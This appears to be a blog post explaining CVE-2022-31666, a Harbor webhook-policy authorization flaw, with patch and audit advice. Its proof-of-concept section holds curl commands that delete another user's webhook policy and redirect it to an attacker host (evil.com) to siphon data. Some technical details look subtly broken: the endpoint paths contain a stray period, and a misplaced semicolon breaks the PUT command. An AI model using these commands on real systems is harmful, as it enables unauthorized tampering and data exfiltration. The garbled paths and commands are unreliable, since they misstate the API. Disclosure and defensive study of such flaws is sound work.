CVE-2022-31666 - Harbor Webhook Policy Permissions Flaw Explained & Exploited

Harbor is an open-source container image registry trusted by many organizations to safely store and manage their Docker images. In 2022, a critical security flaw—CVE-2022-31666—was found in how Harbor controls the permissions for Webhook policies. This vulnerability could let an attacker view, modify, or delete any webhook policies from other users or projects, opening the door to various attacks, such as privilege escalation and information leaks.

Let’s dive into what this vulnerability is, how it works, and see a proof-of-concept in action.

What is CVE-2022-31666 All About?

Summary:
Harbor did not properly validate permissions while users deleted Webhook policies. Any user with access to the Harbor web UI or API could delete or modify webhook policies of projects they had no rights to. This means an attacker could:

Delete webhook configurations, breaking integrations or alerting mechanisms for others.

This happens because the backend API failed to check if the requesting user actually owned the webhook configuration or had admin access to the project.

If an attacker gains access to your Harbor instance (even just as a regular user), they can

- Break CI/CD pipelines: Delete or change the URLs/configuration for webhooks, stopping important automation tasks.
- Harvest sensitive data: Point webhooks to malicious endpoints and capture data intended for trusted systems.

Where’s the Bug?

Let’s look a bit closer. The bug lives in the Web API endpoints responsible for managing webhook policies, such as:

- DELETE /api/v2./projects/{project_name}/webhook/policies/{policy_id}
- PUT /api/v2./projects/{project_name}/webhook/policies/{policy_id}
- GET /api/v2./projects/{project_name}/webhook/policies/{policy_id}

Normally, Harbor should check if the user is authorized to access {project_name} and its policies. But due to improper permission checks, any user could send DELETE, PUT, or GET requests to these endpoints, targeting any project they know the name and policy ID of.

Proof of Concept: Exploiting the Flaw

Suppose Alice has “projectA” and Bob has “projectB”. Alice is a limited user with no rights on projectB. But, Alice knows projectB exists and guesses a policy ID (or enumerates it with GET requests).

Delete Webhook Policy (cURL example)

curl -kv -u alice:alicepass \
  -X DELETE \
  https://harbor.example.com/api/v2./projects/projectB/webhook/policies/3

Update Webhook Policy to Point to Attacker's Server

curl -kv -u alice:alicepass \
  -X PUT \
  -H 'Content-Type: application/json' \
  -d '{"targets":[{"type":"http","address":"http://evil.com/webhook"}],"event_types":["PUSH_ARTIFACT"],"enabled":true}'; \
  https://harbor.example.com/api/v2./projects/projectB/webhook/policies/3

Even though Alice should have no access, the API accepts and processes the request.

*Note: The exact endpoint and JSON structure may differ by Harbor version.*

A clever hacker could

- Break integrations by deleting CI/CD hooks.
- Exfiltrate secrets: If webhooks carry sensitive payloads, forwarding them to attacker’s infrastructure steals data.

Prepare social engineering attacks: Using knowledge of org workflows for phishing.

- Cover tracks by deleting audit/logging webhooks.

How to Protect Yourself

The Harbor team quickly fixed this bug in version 2.5.3. If you’re on any Harbor version before 2.5.3, upgrade immediately.

Audit for unexpected webhook modifications or deletions in your logs.

Fix link: Harbor Release Notes

NVD Description: CVE-2022-31666 - Harbor NVD entry

Summary

CVE-2022-31666 highlights how missing authorization checks can have wide impacts in modern DevOps tools. Even small permission missteps open the path for attackers to compromise entire automation chains. If you use Harbor, check your version, patch up, and audit your projects for suspicious webhook changes!


References:
- NVD - CVE-2022-31666
- Harbor Changelog
- Fix Commit on GitHub

Timeline

Published on: 11/14/2024 11:32:32 UTC